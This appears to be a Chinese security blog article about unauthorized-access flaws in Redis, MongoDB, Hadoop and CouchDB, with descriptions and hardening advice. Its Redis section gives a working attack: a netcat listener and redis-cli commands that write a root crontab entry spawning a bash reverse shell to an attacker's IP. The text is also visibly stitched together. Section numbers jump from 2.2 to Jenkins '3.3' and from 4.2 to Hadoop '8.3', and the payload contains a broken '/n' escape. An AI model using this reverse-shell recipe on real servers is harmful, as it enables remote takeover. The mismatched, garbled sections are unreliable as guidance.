作者:w2n1ck@安全脈搏
前言
今年5月,比特幣勒索病毒 WannaCry 席捲全球,國內眾多機構部門計算機系統癱瘓。根據之前應急響應的案例分析,以及一些安全報告統計,目前大部分的勒索病毒均利用未授權訪問等通用漏洞進行植入、勒索,尤其是 Redis、MongoDB 等數據庫的未授權訪問漏洞尤其嚴重。參見《【脈搏譯文系列】如何高效的應對勒索軟件》
0x01 介紹
未授權訪問可以理解為需要安全配置或權限認證的地址、授權頁面存在缺陷,導致其他用戶可以直接訪問,從而引發重要權限可被操作、數據庫、網站目錄等敏感信息泄露。
目前主要存在未授權訪問漏洞的有:NFS 服務,Samba 服務,LDAP,Rsync,FTP,GitLab,Jenkins,MongoDB,Redis,ZooKeeper,ElasticSearch,Memcache,CouchDB,Docker,Solr,Hadoop,Dubbo 等,本文主要介紹一些目前比較常用的一些服務的未授權訪問,歡迎大家補充!
0x02 Redis未授權訪問
2.1 漏洞描述
Redis 因配置不當可以未授權訪問。攻擊者無需認證訪問到內部數據,可導致敏感信息泄露,也可以惡意執行 flushall 來清空所有數據。如果 Redis 以 root 身份運行,可以給 root 賬戶寫入 SSH 公鑰文件,直接通過 SSH 登錄受害服務器。
2.2 漏洞利用
1、利用計劃任務執行命令反彈shell
在 redis 以 root 權限運行時可以寫 crontab 來執行命令反彈shell
先在自己的服務器上監聽一個端口
nc -lvnp 4444
然後執行命令:
redis-cli -h 192.168.2.6
set x "/n* * * * * bash -i >& /dev/tcp/192.168.1.1/4444 0>&1/n"
config set dir /var/spool/cron/
config set dbfilename root
save
3.3 漏洞加固
1、禁止把Jenkins直接暴露在公網
2、添加認證,設置強密碼複雜度及賬號鎖定。
0x04 MongoDB未授權訪問
4.1 漏洞描述
開啟 MongoDB 服務時不添加任何參數時,默認是沒有權限驗證的,而且可以遠程訪問數據庫,登錄的用戶可以通過默認端口無需密碼對數據庫進行增、刪、改、查等任意高危操作。
4.2 漏洞利用
8.3 漏洞加固
1、如無必要,關閉 Hadoop Web 管理頁面
2、開啟身份驗證,防止未經授權用戶訪問
3、設置“安全組”訪問控制策略,將 Hadoop 默認開放的多個端口對公網全部禁止或限制可信任的 IP 地址才能訪問包括 50070 以及 WebUI 等相關端口,詳細端口列表如下:
a)HDFS
-
NameNode 默認端口 50070
-
DataNode 默認端口 50075
-
httpfs 默認端口14000
-
journalnode 默認端口 8480
b)YARN(JobTracker)
-
ResourceManager 默認端口8088
-
JobTracker 默認端口 50030
-
TaskTracker 默認端口 50060
c)Hue 默認端口 8080
d)YARN(JobTracker)
-
master 默認端口 60010
-
regionserver 默認端口60030
e)hive-server2 默認端口 10000
f)spark-jdbcserver 默認端口 10003
0x09 CouchDB 未授權訪問
9.1 漏洞描述
CouchDB 默認在 5984 端口開放 Restful 的 API 接口,用於數據庫的管理功能。其 HTTP Server 默認開啟時沒有進行驗證,而且綁定在0.0.0.0,所有用戶均可通過 API 訪問導致未授權訪問。任何連接到服務器端口上的人,都可以調用相關 API 對服務器上的數據進行任意的增刪改查,其中通過 API 修改 local.ini 配置文件,可進一步導致執行任意系統命令,獲取服務器權限!